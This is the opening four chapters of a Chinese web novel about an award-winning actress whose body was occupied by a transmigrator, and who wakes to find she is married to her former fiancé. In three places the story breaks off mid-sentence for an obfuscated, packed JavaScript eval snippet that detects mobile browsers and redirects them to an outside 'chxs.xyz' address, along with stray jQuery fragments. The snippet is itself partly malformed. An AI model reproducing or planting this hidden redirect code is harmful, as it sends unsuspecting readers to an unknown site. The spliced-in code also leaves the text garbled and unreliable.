《穿越者非要我攻略反派老公》 1. 第 1 章 十一月中旬，舟市下了今年的第一场雪，圆圆从外卖员手中接过外卖，第一片雪花就这样毫无征兆地落到了她的手上。 圆圆一愣，手背上的雪花转瞬消失不见，但很快又有新的雪花飘落到她的身上，她裹了裹身上的薄外套和外卖员道了谢，没多停留，脚步匆匆进了身后的瑞恒酒店。 瑞恒酒店是今年金鸡奖颁奖典礼的举办场地，今夜众星云集，空调更是开的和不要钱一样，一进去，圆圆的眼睛片就上了一层雾，看不见，但不妨碍她听到了主持人的声音。 “……金鸡奖最佳女主角授予——” 长长的停顿后，毫不意外地听到了那两个字——沈余。 圆圆心满意足，摘下眼镜，用衬衫一角胡乱擦擦，抱着外卖，找了一个位置还算不错的角落，静静地等待女神的到来。 刷的一下，舞台上唯一一束灯光点亮，女人一身Z家高定礼服，海藻般的头发披散着，红唇艳丽。 毫无争议的美貌一出现就成为了全场的焦点，所有人的目光都黏在了女人身上。 女人丝毫没有被影响到，弯唇一笑，不紧不慢地开口，“大家好，我是沈余。” 台上的沈余从容不迫地发表获奖感言，台下的圆圆激动到爆炸，自信、美丽、优雅……世界上所有美好的词汇在她女神面前都是鸡肋。 因为她的女神实在是太太太太太太太完美了！ 22岁出道，非科班出身，凭借处女作一举成为三金影后，出道即巅峰的天赋型演员。她不仅有天赋，还肯吃苦，没有绯闻，不谈恋爱，几乎全年无休，出道五年，包揽了娱乐圈一半以上的奖项。 再配上她那张得天独厚的脸，这样堪称完美的女人有谁会不喜欢呢。 反正圆圆是爱惨了她，她从高中就开始喜欢她女神了，为了能近距离接触女神，她甚至还成为了女神的助理，现在天天和女神待在一起，简直要美死她了！ 趁着圆圆花痴的功夫，沈余已经结束了获奖感言，单手提着裙摆缓缓走下来，快走到她面前，圆圆才反应过来，小跑过去，提起沈余的裙摆，亦步亦趋地跟在她的身后进了她的专属化妆室。 门把转动，露出一张熟悉的面孔，是沈余的经纪人孟梦，大家都叫她梦梦姐。 孟梦问沈余：“怎么样？”虽是这样问，却不见她的脸上有一点担忧，完全是胜券在握的样子。 沈余上扬的下巴轻点，孟梦立刻明白了她的意思，忍不住高兴，回头对圆圆和其他几个工作人员说：“等这次工作结束，请大家吃饭，吃最贵的那家燕来居！” 圆圆立马用手机搜索了一下这家店，“梦梦姐，这家店是会员制的，我们根本进不去……” 孟梦给了她一个安抚性的眼神，“没事，我们有沈大影后在。”她微微一顿，眼睛里闪着不怀好意的光芒，“当然，最终的消费也是由我们沈大影后买单啦！” 要知道燕来居随随便便一份小沙拉都几千，他们这小二十人去搓上一顿还不得将她吃破产了。 她会被吃破产，但沈余不会。 毕竟燕来居可是顾氏的产业。 孟梦冲沈余露出一个你懂得的表情。 沈余伸出一根手指戳上她的肩膀，想要将她推开，却反而被孟梦攥住了手指，轻晃了两下，“沈大影后沉鱼落雁、闭月羞花、美若天仙……”一边说一边给圆圆使眼色。 圆圆赶紧附和，“沈大影后沉鱼落雁、闭月羞花、美若天仙……” 原本只有她们两个说，后面变成屋子里所有人都在说，沈余被她们的样子逗笑，无奈道，“好。” 她答应的瞬间，所有人忍不住小声欢呼，“小鱼姐万岁！小鱼姐万岁！”喊了几声被孟梦制止，“好了好了，你们都先出去一下，我和你们小鱼姐有话说。” 众人纷纷走出房间，圆圆将外卖放到桌子上也跟着出去了。眨眼间，房间里只剩下她们两个人，沈余将奖杯随手一扔，奖杯在沙发上滚了两圈被沙发的靠背拦住。 一旁的孟梦忍不住腹诽，这满屋子女人宝贝还来不及的奖杯，也就她毫不在乎。不过她也能明白，再宝贝的奖杯得了十个八个也就没什么稀奇的了。况且就算摔碎了又能怎样，反正只要沈余还在，这奖杯还不是源源不断。 这样想着，就连她也没那么宝贝了，只不过要是让别人看到终究对沈余的形象不好，考虑到这一点，她还是将奖杯捡了起来，托着沉甸甸的奖杯，忽然感慨：“这已经是你获得的第三个金鸡奖最佳女主角奖杯了。” 原本闭目养神的沈鱼听到这话微微皱眉，忍不住睁开眼睛看向身旁的人，“怎么，嫌少？” 出道五年，三个金鸡奖奖杯，还嫌少？她是疯了嘛！将奖杯妥帖放好，孟梦坐到她旁边，“我有些担心。” 放眼内娱有谁能有沈余这样的实力，可越是因为有实力她才越是担心。树大招风、物极必反。娱乐圈里有太多这样活生生的例子了。 可沈余却满不在乎地睨了她一眼，“有什么好担心的。”才三个而已。 “你这些年几乎霸占了娱乐圈大半的奖杯，圈里的这些女人，有一个算一个哪个不恨你恨得牙痒痒。”偏偏她一副无所谓的样子。 原来是这件事啊，沈余重新闭上眼睛。 平日里孟梦有多爱她身上这份自信，今天就有多恨她这份自信。看着她无所谓的样子，孟梦被气的牙痒痒，可谁让她是她的经纪人呢，沈余可以无所谓，但是她不能，“这样吧，你先安心把你手上的工作做完，至于新的剧本就不接了。” 对上沈余不知道什么时候睁开的眼睛，她的舌头一下子打了个结，“暂时，只是暂时……到时候你好好休息，不然就凭你这么高强度地工作，身体早晚承受不住。” 她倒是不担心她的身体，她只是有些担心…… 沈余长长的睫毛低垂着，仿佛陷入了沉思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929822|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。孟梦以为自己说动了她，忍不住更加卖力，“不说别人，就说你家那位。你要是病倒了，他还不得将我活剥了。”毕竟没人比她更清楚她家那位有多么重视她。 “他？”沈余不再无动于衷，轻嗤一声，“他才不会在乎我呢。” 孟梦一下子来了精神，“怎么了？你和那位……吵架了？” 沈余玩着手机，懒懒地回了一句：“没吵。”只是脸上的神色却不像是她说的那个样子。 孟梦狐疑地看了她一眼，没等开口，沈余已经将自己的手机扔到她的面前，一低头，手机聊天界面正是沈余和那位的聊天界面。 聊天备注赫然是“老公”两个字。 没错，那位其实就是沈余的老公。两人已经结婚5年了，目前是隐婚的状态，就连她们团队里的人知道的都不是很多。孟梦算一个。 手机是沈余扔过来的，孟梦看的毫无心理负担，结果第一句话就差点把她酸掉牙。 ——老公，我好想你呀~ 孟梦忍不住还在脑海里幻想了一下沈余撒娇的样子。额……她实在想象不出来像沈余这么高傲的人会用什么样的语气说出这句话。 她摇摇头，将幻想都甩走，继续看下去。 ——我三天后的颁奖典礼你会来的吧。 [猫咪比心jpg.] 对面没有回复。 聊天的截止时间是三天前，而今晚的颁奖典礼顾朝年的确没有现身。孟梦诧异抬头，“所以……” 沈余：“所以我们真的没有吵架，因为人家根本都懒得回我消息。” “会不会只是太忙了忘记回了？”倒不是孟梦想替顾朝年说话，而是顾朝年对沈余真的是好的没话说。 青梅竹马，英年早婚，虽然异地却几乎每天都会打电话提醒沈余按时吃饭，五年来，这还是她第一次听到他们闹矛盾。 不等她细问，门外响起一阵敲门声，“那边来人说岳老师已经准备好了，过来问问小鱼姐休息的怎么样了。” 岳城，和沈余一样，是这届金鸡奖最佳男主角的获得者，同时也是沈余上一部剧的男主角。两个人新电影《七重梦》刚刚上映，电影大爆，不仅票房大卖，更是俘获了一大批CP粉，因此两家早就商量好，今天一起参加记者访问，一来是继续宣传一下他们的电影，二来也是给粉丝们撒撒福利。 终究是正事要紧，即便孟梦再好奇，也只能暂停八卦，开门让工作人员们进来。 化妆师、造型师……一拥而上，刚刚还算宽敞的化妆间内瞬间挤满了人，大家忙的不可开交。孟梦则在旁边提醒她一会儿记者们可能出的问题，这些内容沈余已经听了无数遍，几乎可以倒背如流了。 将思绪放空，沈余在心中默念：【系统。】 几乎是同一时间，她的脑海中响起了一道冰冷的电子音。 系统：【我在。】 没有任何人听到。 2. 第 2 章 沈余其实是“沈鱼”。 是一名快穿者。 她的任务就是穿越到三千小世界，攻略每个世界的气运之子，获得他们百分之百的爱。 显然，这个世界的攻略目标就是她的老公顾朝年。 作为他青梅竹马的沈余是最终容易接近他的身份，所以她穿越到了沈余的身上，至于真正的沈余的灵魂早在五年前就已经消失了。 别误会，并不是她和系统做了什么手脚，沈余是车祸去世，她来到这个世界的时候人已经不在了，于是她顺势接管了她的身体。 还有她的人生。 从即将被赶出家门的假千金到今天的三金影后，从即将和顾朝年解除婚约到和他结婚，自从接手沈余的人生之后，一切都还算顺利。 唯一不太顺利的就是她在这个世界玩的太嗨了，现在任务时间已经所剩无几了。一想到那犹如乌龟爬一般的好感度，沈鱼又是一阵心力交瘁。 现在温水煮青蛙已经不适合她了，只能临时突击一下了。想到今晚的计划，沈鱼的眼睛里闪过一抹势在必得。 沈鱼叫来系统：【计划照常执行。】 系统：【好的。】 * 工作人员们动作迅速，很快就重新补好了妆，整理好了头发，沈鱼又换了一件较为轻便的礼服。 推开门的瞬间一眼就看到了不远处的岳城，男人靠在墙边，指尖的香烟几乎燃尽，显然已经等候多时了。 沈鱼走过去，男人正吐出最后一口烟，白色的烟雾模糊了他冷硬的侧脸，平添了几分忧郁。 沈鱼：“等很久了吗？” 岳城站直身体，“刚到。” 嗓音冷淡，仿佛刚刚的忧郁只是沈鱼的错觉。 岳城一边说一遍默默拉开了他们之间的距离，直到他周围的烟味完全散去，才走到沈鱼的身边，十分熟稔地拉过她的手臂跨在他的臂弯上。 岳城是军人出身，身材高大，站起来像一堵墙，穿了高跟鞋的沈鱼也才勉强到他的下巴。两个人手挽手一起走路时，微微偏头，她的视线不由自主地就落到了男人的胸口上。 他的胸口处别着一枚胸针，是一条锦鲤。红色的鱼尾随着男人的走动，折射出细碎的光芒。 “两位老师先是进行各自的单采，单采结束后，岳老师来到沈老师的场地，两位再一起接受采访。”工作人员提醒着他们今日的行程安排，“两位老师，这样安排可以吗？” 岳城嗯了一声。 没有听到另外一道声音，两个人停下来齐齐望向旁边的沈鱼。沈鱼收回视线，点头，“我没问题。” 穿过长廊，两个人分道扬镳，去了各自的采访场地。 沈鱼刚走到指定地点，不等工作人员为她整理好裙摆，无数的闪光灯就已经落下。 “沈大影后，方便说说一下您接下来的计划吗？” “沈老师，网传您将出演邓大导演的新作这是真的吗？” …… 记者们一窝蜂地围上来，工作人员被闪光灯晃得睁不开眼，沈鱼冲她摆摆手，示意她先离开，没有刻意去整理，而是随手一扬，宽大的裙摆如同盛开的花朵一般在她的脚底绽放，沈鱼优雅转身，扬起自信明媚的笑容，游刃有余地回答记者的每一个刁钻问题。 这就是她的日常。 所有的记者都专注地盯着沈鱼的神颜，没有一个人注意到她一边回答着问题一边悄悄移动，直到移动到她选好的最佳位置，沈鱼在心中默念：【系统】。 唰的一下，头顶的水晶灯忽然掉落。 毫无意外地砸到了站在灯下的沈鱼。 耳朵里传来一阵嗡鸣，持续了大约一分钟，突然眼前一黑，整个人为之一颤。 就像是……灵魂在颤抖。 这种感觉她不是没有经历过，每一次任务完成时灵魂脱离位面都会有这样的感觉，只是她现在明明没有完成任务，为什么会有这样的感觉？ 难道是因为刚刚的灯？ 她捂着脑袋，摸到了血迹，不多，伤应该不重，毕竟她是看好了位置才行动的，而且又有系统在一旁保驾护航。 她十分确定，绝不是因为灯的原因。 可是…… 还没等她想明白，再一睁开眼，闪光灯、记者全部消失不见，眼前只有白茫茫的一片雾。 她重新回到了系统空间。 * 同一时间，这具身体真正的主人[沈余]睁开了眼睛。 周围的人乱作一团，有关心沈余的，当然也有趁机想要挖到猛料的。 “沈老师，您和岳影帝还会二搭吗？” “网传您和岳影帝已经谈恋爱了，请问是否属实呢？” “你们是否打算公布恋情呢？” “可以正面回答一下吗？” …… 沈余茫然地看着眼前的一切，……这是哪儿？这些人都是谁？她们好吵啊。 突然，她的脑海中传出来一道尖锐的女声，【系统，怎么回事儿？为什么我的灵魂会脱离身体？】 【为什么沈余的灵魂会重新占据身体，不是说她已经消失了吗？】 突然出现的声音让她一愣，可随之而来是恐惧。 ……她，消失了？ 沈余踉跄着后退了两步，可落在媒体记者的眼里正是沈余和岳城恋情的实锤，记者们穷追不舍，要知道这绝对是可以让微博服务器瘫痪的惊天大新闻！ 照相机的快门一个个按下，沈余被晃得睁不开眼，可记者们请追不舍，话筒几乎怼到沈余脸上，她看不清她们的表情和脸，只能听到她们喋喋不休地说着她听不懂的话，还有她脑海中的那道声音也在讲话。 沈鱼：【系统，你快出来！】 沈鱼：【系统，说话，别装哑巴！】 所有的声音交汇到一起，最后又汇聚到沈余的脑海中，她的脑袋痛的要爆炸，沈余用手撑着脑袋，脸颊上冷汗混着鲜血一起滑落，“……头，好疼。” 微弱的声音淹没在记者们的追问中，没有任何人在意，沈余不断后退，直到退无可退，单手撑在身后的板子。 板子是临时搭建的，并不结实，根本支撑不了她。只听轰的一声，板子向后倒，沈余也失去了唯一的支撑力。 在昏迷过去最后一眼，她仿佛看到了一尾金色的鱼朝她游过来。 * 沈余在做梦。 梦中的画面从她牙牙学语到亭亭玉立，就像是一部有年代感的电影，逐帧播放着她前二十年。 而她就像是一个观众，旁观着“她”自己的人生。 从“别人家的孩子”到假千金，“她”的人生跌宕起伏甚至堪称狗血。不过好在这份狗血没有持续太久，因为最后一个场景是“她”出了车祸，晕倒在车里，鲜红的血液顺着额角缓缓流淌，流过“她”的面颊，在下巴处汇聚。 眼睛、嘴巴、鼻孔、越来越多的地方溢出血迹，最终都汇聚到“她”的下巴处。 “她”安静地趴在方向盘上，眼睛、嘴巴、鼻孔、越来越多的地方开始溢出血迹，最终都汇聚到“她”的下巴处。 “她”费力地睁开眼睛，捡起勉强还能用的手机，手机屏幕恰好亮了起来，弹出一条微信消息。 “她”静静地看着，看了许久，手中的手机忽然毫无征兆地掉到地上。 地面忽然开始往外渗水，一点一点往汇聚到手机掉落的地方。如果手机坏了，那大概“她”也就失去了唯一的求生机会。 当事人不为所动，沈余除了干着急什么都做不了。 地面还在往外渗水。 深蓝的，汹涌的，海水。 海水急速地上涨，很快就淹没了手机，吞噬了“她”的小腿。 “她”望着那深蓝色的海水，嘴角缓缓扯出一抹笑，然后闭上眼睛，轻轻靠在方向盘上。 “她”明明是在微笑，可“她”的眼角却留下一滴热泪。 沈余忽然明白了， “她”，是在等死。 泪水混着血水，一路蜿蜒，最后和所有的血水一样汇聚在“她”的下巴。 “嘀嗒”。 一滴混着鲜血的眼泪坠入一片蔚蓝。 掉落的瞬间它化为了一尾鱼，血色的鱼尾在深海中是那样的耀眼，它缓缓朝沈余的方向游了过来。 游到沈余面前，忽然冲破了“电影的边框”，在她面前放大了无数倍，张开血盆大口将她一口吞掉。 * 沈余从梦中惊醒。 入目是白色的天花板，耳边传来一道十分惊喜的声音，“小鱼姐，你醒啦！” 一个眼睛圆圆，脸蛋也圆圆的小姑娘就出现在了她的面前，沈余眨眨眼，她是…… 还不等她细想，眼前又出现一个妆容成熟的女人，她讲话的语气和刚刚的小姑娘一样熟稔，“小鱼儿，你怎么样了？有没有感觉好一点？” 所以，她们认识她，可她为什么却对她们一点印象也没有。 沈余有点懵。 记忆会被遗忘，但就算再怎么遗忘也不可能对两个大活人一点印象都没有。难道是那场车祸后她失忆了？ 可那场车祸在她的记忆里又是那么地清晰，清晰到她甚至不敢再去回想当时的情景。 所以她绝对不会失忆。 孟梦见她没什么大问题，心里终于放松下来，一放松就忍不住秋后算账，“这个破酒店，安全隐患都不排除还搞什么颁奖典礼，好端端一个人就这么被灯砸成脑震荡了，这像话吗？像话吗？” 圆圆点头，“太不像话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929823|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 酒店、颁奖典礼、灯…… 沈余敏锐地捕捉到一些关键词，结合她晕倒前看到的景象，她明白过来，她晕倒之前应该是在酒店参加颁奖典礼，之后应该是被灯砸晕了，所以来了医院。 可是她不是出了车祸吗？又为什么会去参加颁奖典礼呢？ 还有她脑海中突然传出来的那道声音，那些话又是什么意思？ 她……消失了？ 沈余有太多的疑问，可对于目前的她而言，沉默是最好的方式。 孟梦的嘴还没停，骂记者、骂保镖、骂酒店……骂除了沈余之外的所有人，不过被骂的最严重的还是酒店。 沈余安安静静地听着，没有打扰她，直到孟梦说累了去拿水喝，她才问向一旁的圆脸小姑娘：“有镜子吗？” 镜子是每一个女明星的必需品，身为沈余助理的圆圆当然有，“有的。” 连忙将镜子递过去的同时还不忘记安慰她，“小鱼姐，你放心你的脸一点问题都没有。伤口很小的，而且医生也保证过绝对不会留疤的。” 沈余并不是担心会留疤，她现在最想看的是她的长相，她接过镜子和她道谢。 圆圆一愣，怎么觉得今天的小鱼姐怪怪的，但她也没多想，顺着沈余的目光一起看了过去。 镜子里的人巴掌脸，五官精致，一头长发柔顺地披在肩上，即便素面朝天依旧美得动人心魄。大概是受了伤的原因，女神的脸色带着一丝苍白，和平日里美艳高贵的女明星不同，现在的女神更像是她小时候最喜欢的那种温柔优雅的邻家大姐姐。 不愧是她女神，怎么看都漂亮。圆圆又一次折服于自家女神的美貌之中。丝毫没有察觉到沈余气质上的改变并非是因为受了伤，而是因为她们本就是两个不同的灵魂。 这样细微的变化没有任何人注意到，就连沈余自己也没有关注，因为她现在一心都在自己的长相上。 还好，还好。 是她记忆中的那一张脸。 确定了最重要的事情，沈余松了一口气，但却依旧无法坐到完全放松，毕竟她对现在的情况还一无所知。 休息好了的孟梦走过来继续骂，“我们小鱼儿可是三金影后，还好没伤到脸，不然他那个破酒店也不用开了。” 沈余没吭声，而是默默拿起了放在她旁边的手机，她其实也不是很能确定这是不是她的手机，不过好在凭借面部识别成功解锁。 手指一滑，屏幕返回了主页面，而让沈余震惊的是主页面上显示的时间竟然是——2022年11月17日。 她下意识地抓住身旁人的手臂，声音不自绝地带着颤抖，“现在是哪一年？” 孟梦一脸懵，“22年啊，怎么了？” 拽着她的手轻轻滑落，沈余双眼无神地靠在床头，喃喃道：“怎么会？”不是才17年吗？ 这一年沈昭昭被找回，一夕之间她从真千金变成了假凤凰，因此顾朝年要和她解除婚约，而她就是在去解除婚约的路上出了车祸。 这样玄幻又跌宕起伏的一年，她怎么会记错呢？ 看着沈余脸色惨白的样子，圆圆十分忧心，“孟梦姐，小鱼姐这是怎么了？要不要叫医生。” 不等孟梦开口，沈余便开口打断了她，“不用，我就是还有点懵，要不然你们先出去吧，我想一个人安静地待一会儿。” 圆圆看向孟梦，孟梦犹豫，“这……你一个人可以吗？” 忽然，病房内的门被推开，一个男人风尘仆仆地冲了进来。 男人穿着一身深黑色的风衣，大概是一路跑过来的，一进屋就失了力气，用一只手撑在门框上，才避免直接跪在地上，而是单膝跪在地上。 男人抬起头，迫不及待地向她望过来。 五官立体，发丝凌乱却不颓丧反而更凸显他眉眼冷俊，完全是一张生人勿进的脸，可沈余总觉得莫名的熟悉。 说不清道不明的熟悉感，可沈余却十分高兴，因为这是自从她醒来以后第一个让她觉得不是完全陌生的人。 长久对视后，男人开口，轻声唤她的名字，“阿余。” 熟悉的嗓音一出口，几乎是一瞬间沈余就认出了男人的身份。 她哪里是有点熟悉，她可实在是太熟悉了！ 是她的青梅竹马，也是她的前未婚夫——顾朝年！ 他为什么会来？ 孟梦想要上前将顾朝年扶起来，却被沈余拽住了衣袖，听见她几乎是用气音在问，“他为什么会在这里？” 他们的关系还没有好到在生病时相互探望。 孟梦奇怪地看了她一眼，“他是你老公，你住院了他当然要过来啊。” 顾朝年？ 她老公？ 沈余眼前一黑，再一次晕了过去。 3. 第 3 章 沈余又一次梦到了车祸时的场景。 明明知道自己是在做梦，却挣不开走不掉，只能任由自己再一次跌入那片蔚蓝，最后在被那条金鱼吞吃入腹时惊醒。 醒来后她没有惊动任何人，闭着眼睛等待大脑一点点清醒。 不是失忆，难道是穿越？ 因为那场车祸，所以她穿越到了五年后。 车祸、颁奖典礼、五年后。 将这些线索穿到一起，好像用穿越可以说得通。可她总觉得哪里不太对。 一些碎片在她的脑中一闪而过。 【为什么沈余的灵魂会重新占据身体，不是说她已经消失了吗？】 她忽然想起晕倒之前她明明听到一声尖锐的女声，让她真正感到不安的是那道声音不像是来自外界，更像是来自—— 她的脑海深处。 沈余反复琢磨着这句话，忽然虽然荒诞但确是最贴近她目前现状的一个想法——她莫名失去的五年的确不是因为失忆，而是因为那五年她的身体都被另外一个灵魂占据。 所以她才会莫名其妙地出现在颁奖典礼并受伤，所以她病床前的那两个陌生女人才会如此关心她，所以顾朝年才会成了她老公。 想到最后一个，沈余不自觉地眉头紧皱。 那个灵魂占据了她的身体，也许还拥有她的记忆，然后将她的人生弄得一团糟。 接下来要怎么做，沈余心里很乱。 沈余缓慢地睁开眼睛，环顾一圈，病房空无一人。 她掀开被子穿上拖鞋，脚下是柔软的棉花，夕阳透过半扇窗洒在她的侧脸，感觉灵魂也被晒的暖洋洋的。 这一刻，她忽然有一种又活过来的感觉。 心满意足地晒了一会儿太阳，直到太阳完全落下去才离开原地，去卫生间解决了一下生理需求，回来时路过门边，隐约听到了外面的谈话声。 “您好，顾先生。经过我们一系列的检查，病人目前被诊断为中度脑震荡，需要留院观察一段时间。” “中度脑震荡？可是阿余她好像不记得我了？” 门的另一边又传来顾朝年焦急的声音。 医生问到，“您的意思是说病人目前还存在记忆障碍的情况？” 沈余摸了摸头上的纱布若有所思。熟悉的音调没再响起，这一次讲话的是一个女人。 “是。小鱼儿刚醒的时候看我们的眼神就比较陌生，但是当时我们都以为她被砸懵了也就没多想。直到顾先生过来，小鱼儿竟然问我他是谁。她怎么会连顾先生都不记得了！？” 听声音应该是那两个陌生的女人之一。 她越说越着急，说到最后竟然听到几声抽泣的声音。 门外医生反复看着手中的单化验单，“病人虽然是被灯砸到脑袋，但是伤口并不严重，也没形成血块，按理来讲应该不会出现失忆的情况，但是也不排除因为惊吓过度，进而导致记忆的丢失……” 一阵电话铃声响起，医生含糊地应了几声，便匆匆离开了。沈余怕被发现，在医生离开的第一时间回到了病床上。 门外，顾朝年叫住了孟梦，“今天晚上我留在这里陪阿余，你回去休息吧。” 孟梦有些不放心，“小鱼儿真的失忆了吗？” “暂时还不确定。”顾朝年停顿然后补充，“这件事我不希望再有第二个人知道。” “我还想进去看看小鱼儿。” 话音刚落，巨大的黑影便从将孟梦从头遮住，一排穿着黑色西装的保镖将她拦在门外，男人只留给她一个冷漠的背影。 * 回到病床上的沈余还在思索他们的对话，门忽然就被推开了。 只有顾朝年一个人。 他快步走过去，拉着她的手将她仔仔细细看了一圈，“怎么样，有没有哪里觉得不舒服？”眼里的担心显而易见。 有。 最让她不舒服的就是他。 他们虽然是青梅竹马，又是未婚夫妻，但其实真的没那么熟。为数不多的几次见面也都是在双方家长的安排下。 不难怀疑，就他们这样的关系即便是结婚了，也只能是一对怨偶。 所以在知道要解除婚约的时候，沈余是开心的。 可谁能想到五年过去，不仅没能解除婚约，还直接升级为老公了。 而且她记得顾朝年当时也是同意解除婚约的，难道是被逼的？沈余抬眸对上顾朝年的眼睛，企图从他的眼睛里找出一丝虚情假意或者被逼无奈。 可没有，统统没有。 她只看到向来爱洁的他竟然没有刮掉下巴处的胡茬，还有他精心做好的造型不知道为什么变得乱七八糟，以及他微红的眼眶的眼眶布满了红血丝。 难道顾朝年喜欢她？ 沈余当然清楚顾朝年喜欢的不是她，而是那个莫名其妙穿到她身体的穿越者。可问题是顾朝年知道吗？ 看着握在自己手腕上的一双大手，沈余欲言又止，挣开了，“你……” 顾朝年听得认真，没有注意到沈余对他的抗拒，“为什么不继续说？” 她也想继续说，可是说什么呢？ 说她被穿越五年，和他谈恋爱结婚的其实另有其人。 而她现在只想离婚。 被穿越这种事情就已经很荒诞了，就不用说她又回来了。 而且如果顾朝年得知他爱的那个灵魂消失了，会不会想方设法地把她弄回来呢？ 人的心从来都是偏的，何况他们的关系并没有多好。 心中百转千回，却也只用了一瞬间，对上他温柔的目光，沈余面无表情，“我根本就不认识你，你是谁？” 略一思考，沈余决定装失忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929824|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 五年的时间过去了，这个世界有太多的变化，即便她再小心翼翼也总有穿帮的时候，而失忆简直就是一个完美的借口。 尤其是这个借口还是现成的。 “阿余，我是朝年啊。你真的不记得我了吗？” 或许是刚和医生谈过，顾朝年有了一定的心理准备，如果忽略他一脸受伤地看着她，仿佛她不记得是什么罪大恶极的事，他的神色还算镇定。 沈余也很镇定，镇定地思考之前看的电视剧里失忆的人是什么样子。回想了片刻，说出了那句经典的台词，“我是谁？我在哪？我怎么什么都不记得了？” 一边说一边抱住了自己，尽量还原，就是动作略显僵硬。 顾朝年也有些慌了，“阿余，你别害怕，我这就叫医生过来。” 余光一扫，沈余看到顾朝年抬手要去按旁边的呼叫器。 她佯装害怕，胡乱推搡，实际上是为了推开顾朝年去按呼叫器的手，她可不想再做一堆无用的检查了。 挣扎间，只听啪的一声，一个掌印印在了顾朝年的左脸上，沈余这下是害怕了，“我，我不是故意的，是你自己凑上来的。” 一个医生走上前提议，“病人现在情绪不稳定，甚至还有暴力倾向，不如给她打一针镇定剂吧。” 沈余这时候才注意到病房内不知道什么时候进来一堆医生，甚至还有几个穿着黑色西装，人高马大的男人，看起来像保镖。 又有医生上前提议说给她来一针镇定剂，好在被顾朝年没有同意，“阿余不喜欢打针。” 医生看着男人脸上的掌印，迟疑，“可是病人现在的情绪很不稳定，为了避免继续伤人，还是……” “我说了，阿余不喜欢打针。” 男人眼中的温柔不知何时褪去，眸色深深地瞥了他一眼，语气虽轻，态度却强硬。 高级病房内的空调温度从来都是最舒适的，医生却莫名打了个寒颤。 顾朝年发话了，那一排黑衣男也发动了，将医生们礼貌地“请”了出去，屋内一时间又只剩下他们两个了。 “阿余，你别害怕我可以吗？我可以证明我的身份。”对自己的伤并不在意，顾朝年一边安抚沈余的情绪一边从口袋里拿出了一堆东西。 沈余对演戏真的不在行，索性看看他拿出什么东西 “这个是我的身份证。” 他不敢靠得太近，只能扔给她。 身份证落在被子上，沈余淡淡瞥了一眼，顾朝年紧接着又扔过来一张，“这张是你的身份证。” 正好砸在他的那张，而且带有人像的那面朝上。 的确是她的身份证，是她十八岁那年拍的。 见沈余终于有了反应，顾朝年将最后一个证据也扔了过来，是两个红本本。 “这个是我们的结婚证。” 4. 第 4 章 “这个是我们的结婚证。” 尽管早就知道他们已经结婚了的事实，可是当那两个红彤彤的小本子出现在她的面前时，沈余还是想再晕一下。 但她还记得自己正在演戏，很有职业道德地忍住了，将结婚证捡起来，两个红本本此刻安安静静地躺在她的手心，最上面一页正好是他们结婚时的照片。 她看着照片上的自己，顿感陌生。 为了让沈余能够配得上顾朝年未婚妻的这个身份，从小到大沈母不知为她聘请了多少位老师。插花、茶艺、烘焙、舞蹈……无一不通，无一不精。 不仅如此，在仪态和妆容上，沈余也完全符合沈母对名门淑女的期待：妆容素净、衣着大方、仪态优雅。而照片上的女人画着细长的眼线，红唇艳丽无双，身上的衣着更是火热大胆，虽然看起来也很漂亮，但却是她永远也不会尝试的风格。 甚至不需要和“她”见面，沈余就知道她们的性格一定大相径庭。 视线右移，落到了“她”身侧的男人身上，男人穿着一身纯黑色的西装，头发梳上去露出光洁的额头，看起来比现在年轻许多。 只是年轻版的顾朝年薄唇紧抿，眉目冷淡，看起来像是不太高兴。 在沈余看照片的空隙，顾朝年默默坐在了床边的凳子上，原本一直安安静静看照片的人忽然抬头，眼睛亮晶晶的，指着合照中的他自己问，“你是自愿结婚的吗？” “当然。” 顾朝年无比肯定。 话落的瞬间星星都暗淡了，“哦。” 沈余却不死心，检查完照片检查身份信息，最后甚至将钢印也反复看了好几遍。看到最后一旁的顾朝年都忍不住出声提醒，“伪造证件是违法的。” 言外之意结婚证是真的。 沈余不得不认清现实。 已婚。 且和前未婚夫。 尤其是照片上的女人笑得过分灿烂，仿佛在嘲笑她一样，沈余直接将红本本扣在被子上，眼不见为净。 和她的粗鲁行为形成鲜明对比，沈余一检查结束，顾朝年就又将这些证件整理好，然后小心翼翼地踹进怀里。 其中还包括沈余的身份证。 顾朝年：“阿余现在可以相信我没有骗你了吧。” “……相信。” 除了相信他还能怎么办，她没有这五年的记忆，对现在的世界一无所知，而且她连身份证都在人家手里呢。 见沈余接受了大半，顾朝年小心翼翼地试探，“阿余对我一点印象都没有吗？” “没有。” “那阿余记得别人吗？” “不记得。” “那……” “我不记得，我谁都不记得。难道我还会装失忆骗你吗？”沈余双手抱住膝盖，颇为心虚地将脸也埋进去。 